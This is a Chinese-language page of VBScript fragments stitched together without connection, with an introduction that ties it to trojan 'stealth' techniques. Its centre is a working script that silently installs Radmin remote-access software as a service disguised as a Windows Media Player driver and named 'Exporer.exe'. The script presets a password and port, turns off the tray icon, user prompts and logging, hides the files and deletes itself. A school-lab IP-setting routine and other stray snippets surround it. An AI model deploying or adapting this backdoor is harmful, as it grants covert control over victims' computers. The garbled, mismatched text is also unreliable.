隐形功能多用于木马程序，但木马程序在许多国家和地区是不合法的，为便于理解，本文用VB结合一个程序防拷贝的实例来讲解

'This code is done by KangKang@

Option explicit ‘This is optional, but better to use.

Dim FolderPath,Folder

Dim fso,File,Files

Dim fileNums

Dim FileString()

Dim i

Dim ii

i=0

FolderPath="E:\TDDOWNLOAD\aa"

'**********************1.To create the FileSystemObject object********************************

Set fso=CreateObject("Scripting.FileSystemObject")'This is the way to create FileSystemObjecy

‘这句话在Excel VBA中也可以如此定义来引用FSO!

'Scripting是类库的名字,filesystemobject是所引用的对 '象, 说明了此时VBA所用的对象不是自带的，而是引用 '外界的

interface IRegExp2 : IDispatch {

[id(0x00002711), propget]

HRESULT Pattern([out, retval] BSTR* pPattern);

[id(0x00002711), propput]

HRESULT Pattern([in] BSTR pPattern);

[id(0x00002712), propget]

HRESULT IgnoreCase([out, retval] VARIANT_BOOL* pIgnoreCase);

[id(0x00002712), propput]

HRESULT IgnoreCase([in] VARIANT_BOOL pIgnoreCase);

[id(0x00002713), propget]

HRESULT Global([out, retval] VARIANT_BOOL* pGlobal);

[id(0x00002713), propput]

HRESULT Global([in] VARIANT_BOOL pGlobal);

[id(0x00002717), propget]

HRESULT Multiline([out, retval] VARIANT_BOOL* pMultiline);

[id(0x00002717), propput]

HRESULT Multiline([in] VARIANT_BOOL pMultiline);

[id(0x00002714)]

HRESULT Execute(

[in] BSTR sourceString,

[out, retval] IDispatch** ppMatches);

[id(0x00002715)]

HRESULT Test(

[in] BSTR sourceString,

[out, retval] VARIANT_BOOL* pMatch);

[id(0x00002716)]

HRESULT Replace(

[in] BSTR sourceString,

[in] VARIANT replaceVar,

[out, retval] BSTR* pDestString);

};

对于OLE，用于交换信息的两个应用程序分别称为服务者和客户

onerrorresumenext

constHKEY_LOCAL_MACHINE=&H80000002

strComputer="."

SetStdOut=WScript.StdOut

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_

strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\iplist"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

oReg.CreateKeyHKEY_LOCAL_MACHINE,strKeyPath

SetobjRegistry=GetObject("Winmgmts:root\default:StdRegProv")

strPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AskUser",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"AutoAllow",uBinary)

uBinary=Array(1,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"DisableTrayIcon",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableEventLog",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"EnableLogFile",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"FilterIp",uBinary)

uBinary=Array(0,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"NTAuthEnabled",uBinary)

uBinary=Array(198,195,162,215,37,223,10,224,99,83,126,32,212,173,208,119)//此为注册表导出十六进制转为十进制数据pass:241241241

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Parameter",uBinary)//Radmin密码

uBinary=Array(5,4,0,0)//端口：1029

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Port",uBinary)

uBinary=Array(10,0,0,0)

Return=objRegistry.SetBinaryValue(HKEY_LOCAL_MACHINE,strPath,"Timeout",uBinary)

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\RAdmin\v2.0\Server\Parameters"

strValueName="LogFilePath"

strValue="c:\logfile.txt"

setwshshell=createobject("wscript.shell")

a=wshshell.run("sc.execreateWinManageHelpbinpath=%systemroot%\system32\Exporer.exestart=auto",0)

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&strComputer&"\root\default:StdRegProv")

strKeyPath="SYSTEM\ControlSet001\Services\WinManageHelp"

strValueName="Description"

strValue="WindowsMediaPlayerWindowsManagementInstrumentationPlayerDrivers."

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strValueName="DisplayName"

strValue="WindowsManagementInstrumentationPlayerDrivers"

oReg.SetStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strValueName="ImagePath"

strValue="c:\windows\system32\Exporer.exe/service"

oReg.SetExpandedStringValueHKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

setwshshell=createobject("wscript.shell")

a=wshshell.run("netstartWinManageHelp",0)

b=wshshell.run("attrib+r+h+s%systemroot%\system32\exporer.exe",0)

c=wshshell.run("attrib+r+h+s%systemroot%\system32\AdmDll.dll",0)

d=wshshell.run("attrib+r+h+s%systemroot%\system32\raddrv.dll",0)

CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)//自删除

->

","")'输入机算机名，默认值为空

ift=""then'如果t等于空(按了取消键)，则

inputon="quit"'返回值为"quit"

exitfunction'退出程序

endif

iflen(t)=3then'计算机号的长度为3位

ifCint(t)>=100andCint(t)<580then'验证

inputon=t'返回需要的计算机名

exitfunction

endif

endif

wend

endfunction

'///修改机器ip、掩码、网关、工作组、机器名

subwmitoip(t)

strComputer="."

strmask="255.255.255.0"

Dimlt,rt'变量

dimipv,gateway,lan'ip，网关，工作组

lt=cint(left(t,1))'机号左1位数字值

rt=cint(right(t,2))'机号右两位数字值

iflt=1orlt=2then'判断网关

gateway="192.168.1.254"

else

gateway="192.168.3.254"

endif

iflt=1then'1号机房

lan="S01"

ipv="192.168.1."

ifrt=0then'教师机

ipv=ipv+"100"

else'学生机

ipv=ipv+Cstr(rt)

endif

endif

iflt=2then'2号机房

lan="S02"

ipv="192.168.1."

ifrt=0then'教师机

ipv=ipv+"200"

else'学生机

rt=rt+100

ipv=ipv+Cstr(rt)

endif

endif

iflt=3then'3号机房

lan="S03"

ipv="192.168.3."

ifrt=0then'教师机

ipv=ipv+"80"

else'学生机

ipv=ipv+Cstr(rt)

endif

endif

iflt=4then'4号机房

lan="S04"

ipv="192.168.3."

ifrt=0then'教师机

ipv=ipv+"160"

else'学生机

rt=rt+80

ipv=ipv+Cstr(rt)

endif

endif

iflt=5then'5号机房

lan="S05"

ipv="192.168.3."

ifrt=0then'教师机

ipv=ipv+"240"

else'学生机

rt=rt+160

ipv=ipv+Cstr(rt)

endif

endif

SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")

SetcolNetAdapters=objWMIService.ExecQuery("Select*fromWin32_NetworkAdapterConfigurationwhereIPEnabled=TRUE")

strIPAddress=Array(ipv)

strSubnetMask=Array(strmask)

strGateway=Array(gateway)'修改网关

'strGatewayMetric=Array(1)'跃点数

strDNS=Array("61.134.1.4")

ForEachobjNetAdapterincolNetAdapters

errEnable=objNetAdapter.EnableStatic(strIPAddress,strSubnetMask)'ip，掩码

errGateways=objNetAdapter.SetGateways(strGateway)'网关

errDns=objNetAdapter.SetDNSServerSearchOrder(strDNS)'dns

Next

SetobjWMIService=GetObject("winmgmts:"_

&"{impersonationLevel=impersonate}!\"&strComputer&"\root\cimv2")

SetcolComputers=objWMIService.ExecQuery_

("Select*fromWin32_ComputerSystem")

ForEachobjComputerincolComputers

err=ObjComputer.Rename("No_"&t)'机器名

ReturnValue=objComputer.JoinDomainOrWorkGroup("S0"&left(t,1))'工作组

Next

endsub

最後面我也付了Showje的文章，使用的方式全部不同，不管是他的或我的，都有一个地方要解决才能做为Mouse自动导引的程式，那就是Mouse在自动Move时，如何让使用者不能移动Mouse，而这个问题就要使用JournalPlayBackHook，底下的程式中，使用EnableHook,FreeHook，这两个函数是Copy自如何使键盘、Mouse失效

如果一切顺利(就脚本编写方面，事情总是很顺利，对吧？)，Windows资源管理器将会打开且焦点定位在C:\Scripts上：

真酷优秀电影->

一些字符的结果是不同的：

例:VBS:AscW("过")和JS:"过".charCodeAt(0);得到的结果是不同的。